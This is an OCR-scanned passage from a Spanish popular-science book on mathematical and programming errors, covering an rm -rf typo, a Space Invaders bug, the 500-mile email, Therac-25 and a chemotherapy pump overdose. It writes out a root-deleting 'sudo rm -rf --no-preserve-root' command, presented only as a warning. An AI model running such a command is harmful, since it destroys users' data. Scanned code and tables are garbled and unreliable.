convencional, convertia los pares anémalos (I+ e I-) a (F- y F+), introduciendo de esa manera
un cambio de signo.

Retractacion de «Estructura de la MsbA de E. coli»

Una errata en una unica linea puede causar un enorme dafio. En 2014, un
programador estaba realizando tareas de mantenimiento en su servidor y
queria borrar un antiguo directorio de copias de seguridad que tenia un
nombre parecido a: /docs/ mybackup/, pero tecle6 accidentalmente
/docs/mybackup / con un espacio extra. Lo del parrafo siguiente es el aspecto
que debi6é de tener toda la linea que teclearon en su ordenador. No puedo
darle el énfasis que merece a lo siguiente: no teclee nada ni remotamente
parecido a esto en su ordenador, ya que podria borrar todo aquello que le es
querido:

sudo rm -rf --no-preserve-root /docs/mybackup /

sudo = (del inglés super users do) = le dice al ordenador que soy un superusuario y que
deberia hacer todo lo que le pida sin cuestionarlo

rm = (del inglés remove) significa «borrar»

-rf = (del inglés recursive, force) fuerza a que el comando se ejecute recursivamente a lo
largo de todo un directorio

--no-preserve-root = nada es sagrado

Asi pues, ahora en lugar de borrar un directorio llamado /docs/mybackup
/, iba a borrar dos: ese y /. Lo divertido de / es que representa al directorio raiz
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del sistema informatico; el directorio principal que contiene todas las demas
carpetas: / es, basicamente, todo el ordenador. Hay varias historias de rm -rf
en internet sobre personas que han borrado todo el contenido de su ordenador
o, en algunos casos, el contenido de todos los ordenadores de la empresa.
Todo por una simple errata.

También considero como errores de nivel cero algunos que no son
realmente erratas, sino que mas bien son producto de una mala traduccion. Un
programador tiene en su cabeza los pasos que quiere que siga su ordenador,
pero necesita «traducirlos» en lenguaje de programacion que el ordenador
pueda comprender. Los errores en esa traducciéon pueden dar lugar a una
sentencia incomprensible. Como ocurre en Inglaterra con un plato de la
cocina de Sichuan que a veces aparece traducido como «saliva chicken (pollo
saliva)». Nadie va a pedir eso. El significado original de «mouth-watering
chicken» (pollo que te hace salivar) se ha perdido.

El concepto de «igual a» se puede traducir en lenguaje informatico como
= o como ==. En muchos lenguajes informaticos, = es un comando que hace
que lo que aparece a ambos lados sea equivalente, mientras que con == se
cuestiona si las cosas de ambos lados son iguales. Algo como cat_name =
Angus llamara a su gato Angus, pero cat_name == Angus devolvera un True
(Verdadero) o False (Falso), dependiendo del nombre que ya se le habia dado
al gato con anterioridad. Utilice el que no toca y el codigo fallara.

Algunos lenguajes informaticos intentan hacernos la vida lo mas facil
posible esforzandose para comprender qué estamos intentando decirle. Razon
por la cual, como programador aficionado, utilizo Python: el lenguaje mas
amable de todos. Después de ese estan los lenguajes que no hacen una sola
concesion si el programador comete algun error, pero al menos no son
maliciosos. En este grupo entrarian la inmensa mayoria de lenguajes: C++,
Java, Ruby, PHP, etc.

Y, por supuesto, luego estan los lenguajes que odian el concepto mismo
de lo que es un humano. Nacieron porque los programadores piensan que son
graciosisimos y que crear deliberadamente lenguajes informaticos dificiles de
manejar es casi un deporte. El mas tipico es un lenguaje llamado brainf_ck,
que he censurado ligeramente para este libro. Creo que su respetuoso nombre
oficial de «BF» no le hace justicia. En brainf_ck solo hay ocho simbolos
posibles: > <+ — [ ], and. Lo que implica que incluso los programas mas
sencillos se parecen a esto:

+H++[>++H++H+H<- > [ > S > <L
1>----- S+ <t D> < OO <444+ <= >,
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Aunque se dice con frecuencia que brainf_ck es lenguaje de broma, creo
que realmente vale la pena aprenderlo, porque tiene que ver de manera directa
con la forma en la que un lenguaje de programacion almacena y manipula los
datos. Es como interactuar directamente con el disco duro. Imaginese un
programa informatico que se fije en un unico byte en la memoria cada vez: <
y > trasladan el foco hacia la izquierda y hacia la derecha; + y — incrementan
o disminuyen el valor actual; [ y ] se utilizan para ejecutar bucles mientras
que . y, son los comandos de lectura y escritura. Y todo es lo que hace
cualquier otro programa informatico; solo que esta escondido bajo otras capas
de traduccion.

Si esta buscando un lenguaje que sea confuso por puro gusto, entonces
Whitespace es lo que necesita. Ignora cualquier caracter visible del codigo y
procesa solo los invisibles. Por lo que para programar en Whitespace solo se
pueden utilizar combinaciones de espacios, tabulaciones e introsl31l. Y eso es
antes de pasarnos a lenguajes de programacion en los que solo se permite
utilizar la palabra «chicken»; el cédigo necesita ser formateado como si
estuvieras pidiendo en un restaurante a través de la ventanilla del coche o todo
se escribe como en una partitura musical. Creo que, gracias al sesgo de
supervivencia, los programadores tienden a ser una pandilla de sadicos que
disfrutan de la frustracion que causa su obra.

Dejando de lado erratas y lenguajes que deliberadamente van a por ti,
existen toda una clase de errores de programacion que considero errores de
codigo «clasicos». Son mas faciles de localizar en programas antiguos, que
eran deliberadamente supereficientes para poder ejecutarse en hardware con
potencia limitada. Esto hacia que los programadores fueran algo mas
creativos, y eso condujo a algunos efectos colaterales inesperados.

Los programadores del juego arcade Space Invaders estaban tan
preocupados por ahorrar espacio en la limitada ROM del chip que intentaron
economizarlo todo lo posible. Las eficiencias de Space Invaders dieron lugar
a una serie de peculiaridades que fueron explotadas por los jugadores, pero
algunas son tan especificas que no creo que ningtn jugador las conociera, y
menos aun que las utilizara. Se hallan en la zona gris situada entre los errores
de programacion y las consecuencias involuntarias.

Durante una partida de Space Invaders, el jugador podia disparar a los
alienigenas que iban descendiendo por la pantalla, a la misteriosa nave
ocasional que atravesaba volando la parte superior y a sus propios escudos
protectores. El programa necesitaba comprobar si un disparo habia alcanzado
algo importante. Detectar una colision puede suponer una parte de codigo
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dificil de escribir, y los programadores responsables de Space Invaders
estaban buscando formas de simplificar este proceso. Se dieron cuenta de que
todos los disparos o golpeaban algo o salian por la parte superior de la
pantalla.

Por lo que, después de que se efectuara cada disparo, el programa espera a
ver si la bala alcanza una misteriosa nave o sale de la pantalla. Si no ocurre
nada de eso, entonces comprueba la coordenada y de la colision para ver la
altura en la que se produjo. Si es mas alta que el alienigena situado mas abajo,
entonces debe haber alcanzado a uno de ellos: no existe ninguna otra opcion.
Y aqui se pone en marcha la parte del cédigo asociada con la pregunta: «;Qué
alienigena ha sido alcanzado por el disparo?». Es algo parecido al procesador
SRI de los cohetes Ariane: se hacen suposiciones sobre qué clase de datos
pueden llegar a él, y las comprobaciones solo se ejecutan cuando son
realmente necesarias.

Los alienigenas estan dispuestos en una cuadricula compuesta por cinco
filas con once alienigenas cada una. Para controlar los cincuenta y cinco
alienigenas, el programa los numera del O al 54 y utiliza la férmula de 11 x
FILA + COLUMNA = ALIENIGENA para coger la fila de la colisién (de 0 a
4) y la columna (de 0 a 10) y convertirlas en el numero del alienigena
alcanzado por el disparo.

Todo esto funcionaba a menos que el jugador disparara estratégicamente a
todos los alienigenas excepto al de la esquina superior izquierda. Era el de la
fila 4, columna 0, lo que significa que es el alienigena nimero 11 X 4 + 0 =
44. En ese momento, el jugador ve al alienigena 44 moverse de lado a lado,
descendiendo lentamente, hasta que esta a punto de golpear el lado izquierdo
de la pantalla en su ultima pasada, justo por encima de los escudos del
jugador. En ese momento, el jugador dispara a su propio escudo situado mas a
la derecha.

El juego registra esto como un disparo dentro de la cuadricula de
alienigenas y supone que debe haber alcanzado a alguno de ellos. El escudo
esta tan a la derecha que es donde deberia estar la linea doce, pero el codigo
no detiene la comprobacion. Convierte obedientemente la coordenada
horizontal de la colisién en un nimero de fila y obtiene un 11, fuera del rango
normal de columnas (de 0 a 10). Al colocar este numero incorrecto de
columna en la féormula nos da lo siguiente: 11 x 3 + 11 = 44 y el alienigena
del lado opuesto de la pantalla explota.

De acuerdo, no es un error garrafal, pero demuestra como incluso un
sistema tan sencillo como el de Space Invaders puede dar lugar a situaciones
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que los programadores no vieron venir. El cddigo original de Space Invaders
no contenia comentarios, pero existe un proyecto en linea en la web
computerarcheology.com que lo analiza y comenta con notas modernas. Es
una lectura divertida. Me encantan todos los c6digos que tienen comentarios
como «obtén informacion sobre el estado del alienigena; ;esta vivo?». Quiero
decir, cualquier comentario que no sea una version pasada mia siendo un
idiota son un regalo.

SCORE<1> HI-SCORE SCORE<{2>
oaoa oeoo
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SCORE<1> HI-SCORE SCORE<{2>
1168 oeoo

Formacién inicial de los alienigenas en una cuadricula de cinco por once. Un disparo oportuno da en
el escudo donde deberia estar una doceava columna.
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El correo electronico de las 500 millas

Ser el administrador de un sistema (o sysadmin) de una red informatica
grande es lo suficientemente intimidante como para que encima se trate de
una red informatica en una universidad a finales de los noventa. Los
departamentos universitarios pueden ser un poco susceptibles respecto a su
autonomia y, en el ambiente que recuerda al salvaje oeste del inicio de
internet durante los noventa, era la combinacion perfecta para que se
produjera un desastre de compleja solucion.

Y asi fue como Trey Harris, un administrador de sistemas de la
Universidad de Carolina del Norte, recibié con cierto temor una llamada
telefonica del director del departamento de estadistica en algin momento de
1996. Tenian un problema con su correo electronico. Algunos departamentos
habian decidido tener sus propios servidores de correo electronico, entre ellos
el departamento de estadistica, y Trey ayudo, de manera informal, a que
funcionaran de forma correcta. Lo que significa que ahora, de forma informal,
era su problema:

«Estamos teniendo problemas enviando correos electrénicos a destinatarios de fuera del
departamento.»

«;Cudl es el problema?»

«No podemos enviar mails a personas que estan a mas de 500 millas.»

«;Cdémo dices?»

El director de estadistica le explico que nadie del departamento podia
enviar un correo electronico a personas situadas a mas de 520 millas. Algunos
correos enviados a personas que estaban dentro de ese rango también
fallaban, cosa que ocurria con todos los que enviaban a lugares situados a mas
de 520 millas. Por lo visto, esto llevaba ocurriendo unos dias, pero no habian
informado de ello porque estaban intentando recoger los suficientes datos
para establecer la distancia exacta. Al parecer, uno de sus geoestadisticos
estaba elaborando un bonito mapa con los lugares a los que se podia y no se
podia enviar un correo electronico.

Con incredulidad, entré en su sistema y envio algunos correos de prueba a
través del servidor del departamento. Los correos locales y otros enviados a
Washington D. C. (240 millas), Atlanta (340 millas) y Princeton (400 millas)
salieron sin problemas. Pero los que envio a Providence (580 millas),
Memphis (600 millas) y Boston (620 millas) fallaron.

Nervioso, envio un correo electronico a un amigo suyo que vivia cerca, en
Carolina del Norte, pero cuyo servidor de correo se hallaba en Seattle (a 2.340
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millas). Afortunadamente, falld. Si los correos electronicos sabian de alguna
manera la localizacion geografica del receptor, entonces Trey se hubiera
puesto a llorar. Al menos, el problema tenia algo que ver con la distancia que
le separaba del servidor que recibia el correo. Pero nada de lo que contienen
los protocolos de correo electronico dependia de lo lejos que necesitaba llegar
la sefial.

Abrio el archivo sendmail.cf, un archivo que contiene todos los detalles y
reglas que determinan cémo se envia un correo electronico. Cada que vez que
se envia uno, revisa este archivo para obtener las instrucciones requeridas
para luego pasar al sistema de correo responsable del envio. Le sonaba
familiar porque lo habia escrito el propio Trey. Nada estaba fuera de lugar;
deberia haber funcionado perfectamente con el sistema principal de envio de
correos electronicos.

Por lo que comprobo el sistema principal del departamento (para aquellos
que quieran flagelarse siguiendo los pasos al detalle, se conect6 al puerto
SMTP por Telnet a través del puerto SMTP) y el sistema operativo Sun le dio
la bienvenida. Escarbando un poco encontr6 que el departamento de
estadistica habia actualizado hacia poco la copia de Sun que utilizaba el
servidor, y esa actualizacion venia con una version predeterminada de
Sendmail 5. Previamente, Trey habia configurado el sistema para utilizar
Sendmail 8, pero ahora, la nueva version del sistema operativo Sun instalaba
una version anterior, la 5. Trey habia escrito el archivo sendmail.cf dando por
hecho que solo seria leido por la version 8 del programa Sendmail.

De acuerdo, si usted ha leido lo anterior por encima, ahora lo resumiré. Lo
que ocurrio, en pocas palabras, es que las instrucciones para enviar correos
electronicos se habian escrito para un sistema nuevo y, cuando se utilizaron
en un sistema mas antiguo, se produjo el problema clasico una vez mas: un
programa informatico intentando digerir unos datos que no se escribieron para
él. Una parte de los datos eran los tiempos de espera y, en la indigestion
sufrida por Sendmail 5, les dio un valor predeterminado: cero.

Si un servidor informatico envia un correo electrénico y no recibe
respuesta, necesita decidir cuando dejar de esperar y rendirse, aceptando que
el correo se ha perdido para siempre. Este tiempo de espera ahora se
restablecia a cero. El servidor intentaba enviar el correo electronico e
inmediatamente desistia. Lo mismo que los padres que convierten la
habitacion de sus hijos en el cuarto de costura antes incluso de que estos
finalicen el viaje que les lleva la universidad.
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Bueno, en la practica no seria exactamente cero. Seguiria existiendo un
retraso en el proceso inherente al programa de unos pocos milisegundos entre
el momento en el que se envia el correo electronico y el momento en el que el
programa es capaz, oficialmente, de desistir. Trey cogi6 un papel y se puso a
hacer algunos calculos aproximados. La facultad estaba directamente
conectada con internet, por lo que los correos electrénicos podian salir del
sistema muy rapidamente. El primer retraso en la sefial alcanzaria el riter
situado al final del viaje y se enviaria una respuesta.

Si el servidor receptor del correo no estaba muy cargado y podia enviar la
respuesta lo suficientemente rapido, el tnico limite que quedaba era la
velocidad de la sefial. Trey tuvo en cuenta la velocidad de la luz en la fibra
optica para el viaje de regreso, ademas de los retrasos del ruter, y habia una
pérdida de la sefial mas o menos a 500 millas. Los correos electronicos
estaban limitados por la naturaleza finita de la velocidad de la luz.

Esto también explicaba por qué algunos correos fallaban dentro del radio
de 500 millas: los servidores receptores eran demasiado lentos para devolver
una sefial antes de que el sistema emisor dejara de escuchar. Una simple
reinstalacion de la version 8 de Sendmail, y el archivo de configuracion
sendmail.cf de nuevo era capaz de ser leido correctamente por el servidor de
correo.

Esto demuestra que, aunque algunos administradores de sistemas se ven a
si mismos como dioses en la Tierra, siguen teniendo que obedecer las leyes de
la fisica.

Interacciones humanas

En 2001, estaba un dia encendiendo el ordenador que me monté con Windows
y que casi me habia durado todos los afios de universidad, y (en la pantalla de
inicio de la BIOS) aparecio, en blanco, un texto que destacaba sobre un fondo
negro:

Keyboard error or no keyboard present
Press F1 to continue, DEL to enter SETUP.

Ya habia oido hablar de mensajes de error del tipo: «no se detecta ningun
teclado, pulse cualquier tecla para continuar», pero nunca habia visto uno en
directo. Corri en busca de mi compafiero de habitacion para ver si podia venir
y verlo. Se hablo de ello en la residencia durante dias (de acuerdo, puede que
mi memoria haya exagerado ligeramente la experiencia). Los mensajes de

Pagina 262



error son una fuente constante de entretenimiento en el mundo de las
tecnologias.

Pero estan ahi por una razon. Si un programa deja de funcionar, un buen
mensaje de error detallando qué condujo al desastre puede darle a la persona
que lo ha de arreglar un punto desde el que empezar. Pero muchos mensajes
de error informaticos son solo un cédigo que necesita ser revisado. Algunos
de estos codigos de error se han vuelto tan comunes que el publico no
especializado los entiende. Si algo falla mientras se navega por internet,
mucha gente sabe que si aparece el mensaje «error 404» significa que no se
ha podido encontrar esa web. En realidad, cualquier error de este estilo,
relacionado con una pagina web, y que empieza por 4 significa que el error
estaba en el lado del usuario (como el 403: intento de acceder a una pagina
prohibida), y los codigos que empiezan por 5 son culpa del servidor. El
codigo de error 503 significa que el servidor no estaba disponible; el 507
significa que el espacio destinado a almacenaje esta demasiado lleno.

Siempre divertidos, los ingenieros telematicos han llamado al cédigo de
error 418 «soy una tetera». Es devuelto por cualquier tetera con conexion a
internet a la que se le pide que haga café. Fue introducido como parte de la
publicacion en 1998 de las especificaciones del Protocolo de Hipertexto para
Control de Cafeteras (HTCPCP por sus siglas en inglés). Fue una broma del
dia de los inocentes en Estados Unidos, pero desde entonces se han fabricado
teteras que si se conectan y funcionan segin el HTCPCP. En 2017, el
movimiento Salvar el 418 impidi6 que se retirase ese error, consiguiendo que
se conservase como «recordatorio de que los procesos subyacentes de los
ordenadores siguen estado fabricados por humanos».

Dado que su intencién es que solo sea utilizado por personas del mundo
tecnolégico, muchos codigos informaticos de error son muy funcionales y, sin
duda alguna, no son faciles de utilizar. Pero pueden aparecer algunos
problemas serios cuando usuarios no técnicos se topan con un mensaje de
error demasiado técnico. Este fue uno de los problemas de la maquina de
radiacion Therac-25 con el asunto de los desbordamientos. L.a maquina daba
unos cuarenta mensajes de error por dia, con nombres que son de muy poca
ayuda, y muchos de los cuales no eran importantes, los operadores se
habituaron a los apafios rapidos y a continuar con los tratamientos. Algunos
de los casos de sobredosis se podrian haber previsto si el operario no hubiera
desestimado los mensajes de error y continuado como si nada.

En un caso sucedido en marzo de 1986, la maquina dej6 de funcionar y el
mensaje de error «Malfunction 54» aparecié en la pantalla. Muchos de los
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mensajes de error contenian unicamente la palabra «Malfunction» (fallo o mal
funcionamiento) seguida de un nimero. Cuando analizaron el fallo numero
54, la explicacion fue que se trataba del «error 2 de entrada de dosis». En la
investigacion posterior se descubrid que ese tipo de error significaba que la
dosis o era muy alta o0 muy baja.

Todos estos codigos y descripciones impenetrables serian graciosos si no
fuera por el hecho de que un paciente del caso asociado con el «fallo 54»
murié por estar sobrexpuesto a la radiacion. Cuando se trata de equipamiento
médico, los mensajes de error deficientes pueden costar vidas. Una de las
modificaciones recomendadas antes de que las maquinas Therac-25 pudieran
volver a ser utilizadas fue «los mensajes cripticos de error seran sustituidos
por mensajes con sentido».

En 2009, un grupo de universidades y hospitales del Reino Unido se
unieron para formar el proyecto CHI+MED (siglas en inglés que significan
interaccion entre ordenadores y humanos para dispositivos médicos).
Pensaron que se podia hacer mucho mas para limitar los efectos
potencialmente peligrosos de los errores matematicos y tecnologicos en la
medicina y, de un modo parecido a lo que ocurria con el modelo del queso
suizo, crelan que, en lugar de buscar a quien echarle la culpa, el sistema en su
conjunto deberia procurar evitar los errores.

En el campo de la medicina, existe una impresion generalizada de que las
buenas personas no cometen errores. De forma instintiva, sentimos que la
persona que ignoro el mensaje sobre el fallo 54 y pulsé la P del teclado para
aplicar la dosis de radiacion es el culpable de la muerte de ese paciente. Pero
es mucho mas complicado que eso. Tal como sefiala Harold Thimbleby, del
CHI+MED, simplemente eliminar a todos aquellos que admiten haber
cometido un error no es un buen sistema:

Las personas que admiten haber cometido errores son, en el mejor de los casos, suspendidas

o trasladadas, dejando de ese modo detrds a un equipo que «no comete errores» y que no tiene
experiencia en administrar esos errores.

H. Thimbleby, «Errors + Bugs Needn’t Mean Death»,

Informe de la Administracion Puiblica: UK Science &

Technology, 2, pags. 18-19, 2011

Sefiala que, en farmacia, es ilegal dar a un paciente el farmaco
equivocado. Esto no fomenta un ambiente en el que se admitan y afronten los
errores. Aquellos que cometen un desliz y lo admiten pueden perder su
trabajo. Este sesgo de supervivencia significa que la siguiente generacion de
estudiantes de farmacia sera ensefiada por farmacéuticos que nunca «han
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cometido errores». Perpetia la impresion de que los errores son sucesos poco
frecuentes. Pero todos los cometemos.

En Canada, en agosto de 2006, a un paciente con cancer le administraron
el farmaco de quimioterapia Fluorouracilo, que tenia que ser administrado
mediante una bomba de infusion que liberaba gradualmente el farmaco en su
sistema durante cuatro dias. Lamentablemente, debido a un error de
configuracion de la bomba, todo el farmaco se liberé en cuatro horas y el
paciente fallecié por sobredosis. La unica forma de procesar esto es culpar a
la enfermera que configuré la bomba, y puede que a la enfermera que
comprob6 el trabajo de la anterior. Pero, como siempre, es algo mas
complicado que eso:

5-Fluorouracilo 5.250 mg (a 4.000 mg/m?) intravenosa, dosis tinica continua durante 4
dias... Infusién continua mediante bomba de infusién en ambulatorio (dosis de referencia:
1.000 mg/m?/dia = 4,000 mg/m?%/4 dias).

Prescripcion electrénica del Fluorouracilo

La prescripcién original del Fluorouracilo era bastante dificil de seguir,
pero luego pas6 a un farmacéutico que prepar6 130 mililitros de una
disolucion de 45,57 mg/ml de Fluorouracilo. Cuando lleg6 al hospital, una
enfermera tuvo que calcular el ritmo de liberacién para programar la bomba.
Después de hacer algunos calculos con una calculadora, le sali6 la cifra de
28,8 mililitros. Consulto la etiqueta de la farmacia y, estando bastante segura,
vio que en la seccion de la dosis ponia 28,8 mililitros.

Pero, durante los calculos, la enfermera se olvidé de dividir por las
veinticuatro horas por dia. Habia calculado que eran 28,8 mililitros por dia y
supuso que eran 28,8 mililitros por hora. La etiqueta de la farmacia ponia
primero que eran 28,8 mililitros por dia, y luego, entre paréntesis, la cantidad
por hora (1,2 ml/h). Una segunda enfermera revis6 lo que habia hecho la
primera y, ahora sin calculadora alguna, hizo los calculos en un pedazo de
papel y cometio exactamente el mismo error. Dado que el nimero era el
mismo que el anterior, no se cuestiono si era correcto. El paciente fue enviado
a casa y se sorprendio de que la bomba, que deberia haber durado cuatro dias,
se vaciara y se pusiera a pitar después de tan solo cuatro horas.

Se pueden aprender muchas cosas de ese caso sobre como describir las
prescripciones de las dosis de los farmacos y sobre como son etiquetados los
productos farmacéuticos. Podemos, incluso, aprender sobre el amplio rango
de tareas complejas que tienen que realizar las enfermeras y el apoyo y
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revision con la que cuentan. Pero los chicos del CHI+MED se interesaron mas
en la tecnologia que propicié que se cometieran estos errores matematicos.

La interfaz de la bomba era complicada y nada intuitiva. Mas alla de eso,
la bomba no tenia ningtin tipo de chequeo integrado y seguia alegremente las
instrucciones dadas para vaciarse a un ritmo anormalmente rapido para este
farmaco. Para una bomba tan esencial tendria sentido que supiese qué
farmaco es el que se esta administrando y realizase una comprobacién final
sobre el ritmo que ha sido programado (y que luego mostrase un mensaje de
error comprensible).

Incluso mas interesante me parece la observacion que hizo el CHI+MED
sobre el hecho de que la enfermera utilizara una «calculadora de uso general
que no tenia ni idea de qué calculo se estaba haciendo». Nunca habia pensado
en serio en que todas las calculadoras son de uso general y que escupen a
ciegas cualquier respuesta que encaje con los botones que se pulsen.
Pensandolo mejor, la mayoria de las calculadoras no tienen detector de
errores integrado y no deberian utilizarse en una situacion de vida y muerte.
Lo que quiero decir es que adoro mi Casio fx-39, pero no le confiaria mi vida.

Desde entonces, CHI+MED ha desarrollado una aplicacion calculadora
que es consciente de qué tipo de calculo se esta realizando y bloquea unos
treinta errores médicos de calculo muy comunes. Entre estos se incluyen
algunos errores comunes que creo que todas las calculadoras deberian ser
capaces de entender, como colocar mal la coma decimal. Si quieres teclear
23,14 pero introduces accidentalmente 2,3,14, como lo interpretara la
calculadora es una loteria. La mia entiende que he introducido 2,314 y sigue
adelante como si nada hubiera ocurrido. Una buena calculadora médica
avisara si los numeros introducidos son ambiguos; de lo contrario, las
probabilidades de un accidente se multiplican por diez.

Sin ninguna duda, la programacién ha aportado muchos beneficios a la
humanidad, pero aun es temprano. Los cddigos complejos siempre
reaccionaran de formas que sus desarrolladores no se esperaban. Pero existe
la esperanza de que los dispositivos bien programados puedan afiadir mas
rodajas de queso a nuestros sistemas modernos.
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ASI PUES, ;:QUE HEMOS APRENDIDO DE
NUESTROS ERRORES?

Mientras estaba escribiendo este libro, en uno de los muchos viajes que
realizamos mi esposa y yo, hicimos una pausa para descansar del trabajo y
nos pasamos un dia visitando una ciudad extranjera cualquiera. Una ciudad
muy grande y famosa. Hicimos algunas cosas que suelen hacer los turistas,
pero entonces me di cuenta de que estabamos en la misma ciudad en la que un
amigo mio habia realizado un trabajo como ingeniero.

Este amigo mio habia participado en el disefio y construcciéon de un
proyecto de ingenieria (piense en algo como un edificio o un puente) en algin
momento de las ultimas décadas. Una vez, tomando unas cervezas, me
comentO que habian cometido un error durante el proceso de disefio, un error
matematico que, por suerte, no tuvo ningun impacto en la seguridad de esa
cosa. Pero si que lo habia cambiado ligeramente, en un aspecto estético casi
trivial. Algo no estaba como originalmente se habia planeado. Y si, esta
historia es deliberadamente ambigua.

Veran, mi esposa (siempre dispuesta a apoyarme) me ayudo a encontrar
esa evidencia visual del error matematico de mi amigo, por lo que pude
hacerme una foto junto a «eso». No tengo ni idea de lo que debieron pensar
los transeuntes que por alli pasaban al verme posando junto a aparentemente
nada. Pero yo estaba entusiasmado. Iba a ser un ejemplo contemporaneo que
podria incluir en este libro. Hay muchos errores de ingenieria historicos, pero
mi amigo sigue vivo y podia contarme como se produjo dicho error. No era
nada peligroso, por lo que podria explicar con franqueza cémo ocurrio.

Me temo que no podrds usar eso.

Casi podia oir el pesar en su voz cuando me habl6 del error por primera
vez. Tampoco pude convencerle al ensefiarle las fotos de mis vacaciones en
las que yo salia junto a la manifestacién de su error de calculo. Me explico
que, aunque esta clase de cosas se analizaran y discutieran dentro de la
empresa, nunca se han difundido al exterior, ni siquiera algo tan
intrascendente como «eso». El contrato y los acuerdos de confidencialidad
impiden legalmente a los ingenieros divulgar cualquier aspecto de los
proyectos en los que participan durante décadas después de que hayan
finalizado.

Asi son las cosas. Lo tnico que les puedo contar sobre ese tema es que no
puedo contar nada. Y no se trata solo de ingenieros a los que les prohiben
hablar publicamente. Otro amigo matematico mio realiza trabajos de
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consultoria sobre las matematicas utilizadas en una empresa del ambito de la
seguridad muy conocida. Le contratara una empresa para realizar alguna
investigacion y para descubrir errores cometidos por la industria. Pero
entonces, cuando trabaje para una compafiia diferente o incluso si asesora al
gobierno en temas de seguridad, no podra revelar lo que haya descubierto con
anterioridad trabajando para otros. Todo esto es un poco exagerado.

No parece que los humanos seamos muy buenos a la hora de aprender de
los errores. Y no se me ocurre ninguna solucién infalible: puedo entender
perfectamente que las empresas no quieran que se aireen sus defectos, o la
investigacion que tuvieron que financiar para publicarla gratis. Y, en cuanto al
error estético de ingenieria que cometié mi amigo, puede que lo correcto sea
que nadie mas lo averigiie. Pero me gustaria que hubiera un mecanismo
preparado para asegurarse de que las lecciones importantes y potencialmente
utiles pudieran ser compartidas con las personas que se podrian beneficiar al
conocerlas. Para este libro he investigado muchos informes sobre
investigaciones de accidentes que se hicieron publicos, pero eso solo suele
ocurrir cuando ha ocurrido un desastre muy obvio. Es muy probable que se
hayan ocultado muchos otros errores matematicos mas discretos.

Porque todos cometemos errores. Continuamente. Y no es algo que haya
que temer. Muchas personas con las que hablo dicen que, cuando estaban en
el colegio, no les iban bien las matematicas porque simplemente no las
entendian. Pero la mitad del desafio que supone aprender matematicas es
aceptar que puede que no se te den bien de forma natural pero que, si pones el
empefio suficiente, podras aprenderlas. Por lo que yo sé, la tinica frase mia
que algunos profesores han colocado en un poster en sus clases es: «Los
matematicos no son personas a quienes les resultan faciles las matematicas;
son personas que disfrutan con su dificultad».

En 2016, me converti, de forma accidental, en el chico del péster utilizado
para cuando lo que sabes de matematicas no es suficiente. Estadbamos
grabando un video de YouTube para el canal Numberphile y yo estaba
hablando sobre los cuadrados magicos. Son cuadriculas de numeros que
siempre dan el mismo total si sumas las filas, columnas o diagonales. Soy un
gran admirador de los cuadrados magicos y pensé que era interesante que
nadie hubiera encontrado un cuadrado magico de tres por tres formado
integramente por numeros al cuadrado. O que nadie hubiera podido demostrar
que ese cuadrado no existe. No era la cuestion de matematicas sin resolver
mas importante de todas, pero pensé que era interesante que todavia siguiera
sin ser resuelta.
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Asi que lo intenté. Como reto de programacion, escribi algin codigo para
ver lo cerca que me podia quedar de encontrar un cuadrado magico de
cuadrados. Y encontré esto:

Y

29° 1 47+ s0s
41 371 s
23" 41 29" s

3051 3051 3051 ]

o

Da el mismo total en cada fila y columna, pero en solo una de las
diagonales. Solo me faltaba una de las sumas para conseguirlo. Ademas,
estaba utilizando los mismos nimeros mas de una vez, y en un auténtico
cuadrado magico todos los numeros han de ser diferentes. Por lo que mi
intento de encontrar una solucion se quedé corto. No me sorprendio: ya se
habia demostrado que para que un cuadrado magico de tres por tres y
compuesto por cuadrados saliera bien, todos sus numeros tendrian que ser
mayores que cien billones. Mis niimeros iban del 12 =1 al 472 = 2.209. Solo
queria intentarlo y ver hasta donde podia llegar.

El video fue grabado por Brady Haran, y él fue mucho menos indulgente,
basicamente porque sefialé6 que mi solucion no era demasiado buena. Cuando
me preguntd como se llamaba, supe inmediatamente que, si lo llamaba
«cuadrado Parker», se convertiria en un simbolo de cuando las cosas fueran
mal. Pero no es que tuviera otra opcion. Brady le puso al video el titulo de El
Cuadrado Parker (The Parker Square), y el resto es historia. Se convirtié en
un meme de internet por propio derecho y, en lugar de «no darle mucha
importancia», Brad cre6 unas camisetas y tazas conmemorativas. A la gente le
encanta llevarlas cuando viene a ver mis programas.

He intentado conseguir que el Cuadrado Parker volviera a ser un simbolo
de la importancia de darle una oportunidad a algo, incluso cuando es muy
probable que no salga bien. La experiencia que parece que tenemos en el
colegio es que hacer algo mal en matematicas es terrible y deberia evitarse
por todos los medios. Pero esa persona no va a ser capaz de sobreponerse e
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intentar nuevos retos sin que, ocasionalmente, las cosas salgan mal. Por lo
tanto, como una especie de acuerdo mutuo, el Cuadrado Parker ha acabado
siendo «un simbolo de las personas que lo intentan pero que al final se quedan
Cortos».

Dicho todo esto, tal como ha dejado claro este libro, hay situaciones en las
que es muy necesario que las matematicas se hagan correctamente. Seguro
que las personas que estan probando e investigando nuevas matematicas
pueden cometer toda clase de errores, pero, una vez que estemos utilizando
esas matematicas en situaciones criticas, mas nos vale que se hagan bien. Y,
puesto que a menudo vamos mas alla de aquello de lo que la humanidad es
capaz por si misma, siempre habra algunos errores a la espera de producirse:

) 1]

j}

e
w

Rl = “IJ".UL
. .L_.....--‘I

bl

o

A
3

-

Asi es mi vida actualmente.

Creo que es mucho mejor ser pragmatico cuando se trata de evitar algin
desastre. Los errores se van a producir, y los sistemas necesitan ser capaces de
lidiar con ellos e impedir que se conviertan en catastrofes. El equipo del
CHI+MED que esta investigando las interacciones entre ordenadores y
humanos con los dispositivos médicos ha desarrollado una nueva version del
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modelo del queso suizo a la que me gusta llamar: modelo del queso caliente
sobre las causas de los accidentes.

En este modelo, el queso suizo esta de lado: imaginese que las lonchas de
queso estan en posicion horizontal y los errores caen desde arriba. Solo los
errores que atraviesen los agujeros de cada capa llegaran al fondo y se
convertiran en accidentes. El elemento nuevo de este modelo es que las
lonchas de queso estan calientes y algunas partes de ellas pueden gotear,
provocando nuevos problemas. Al trabajar con dispositivos médicos, los
chicos del CHI+MED se dieron cuenta de que existia una causa de accidentes
que no estaba representada en este modelo del queso suizo: las capas y las
etapas dentro de un sistema podian causar por si mismos que se produjeran
errores. Afiadir una nueva capa no reduce automaticamente la cantidad de
accidentes que suceden. Los sistemas son mas complicados y dinamicos que
eso.

.

Nadie quiere gotas de mds en la fondue del desastre.
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Utilizan el ejemplo de los sistemas de codigos de barras para la
administracion de la medicaciéon que fueron introducidos para reducir los
errores que se cometian a la hora de dispensar medicamentos. Estos sistemas
ayudaron a que se redujeran los errores provocados por dar una medicacién
errénea, pero también abrieron nuevos caminos en los que las cosas podian
